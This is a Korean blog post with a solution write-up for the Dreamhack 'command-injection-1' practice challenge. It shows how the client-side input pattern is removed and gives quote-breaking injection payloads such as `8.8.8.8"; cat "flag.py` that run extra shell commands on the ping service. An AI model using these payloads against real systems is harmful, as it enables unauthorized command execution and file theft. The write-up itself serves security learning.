드림핵 command-injection-1 문제 풀이

satoshichingu·2024년 11월 20일

해킹 문제 풀이

목록 보기
4/18

문제 설명

특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.

문제 풀이

기본 동작 확인

Host 입력 칸에 8.8.8.8을 입력하여 핑 테스트가 정상적으로 동작하는지 확인.

서버에서 실행되는 코드 확인

cmd = f'ping -c 3 "{host}"'

ping! 버튼 클릭시 host에 파라미터 값이 전달되는 것으로 확인.

개발자 도구로 pattern을 없애 패턴을 우회하고 8.8.8.8; ls 를 입력하여 command injection 시도.(burp suite 같은 프록시 툴로도 조작 가능)
*리눅스 명령어 활용 - 세미콜론(;)은 여러 명령어를 한 줄에서 순차적으로 실행하도록 하는 역할을 함.

서버 에러가 나왔음!

an error occurred while executing the command. -> ping -c 3 "8.8.8.8; ls"

에러 원인: 입력값이 큰따옴표(")로 감싸져 있어 명령어 주입 실패.

명령어 수정.

8.8.8.8"; ls "./

현재 디렉토리 내 파일 목록 출력.
flag.py 파일 존재 확인.

cat 명령어를 사용하여 flag.py의 내용을 출력

8.8.8.8"; cat "flag.py

서버 실행 명령어

ping -c 3 "8.8.8.8"; cat "flag.py"

플래그 획득!

0개의 댓글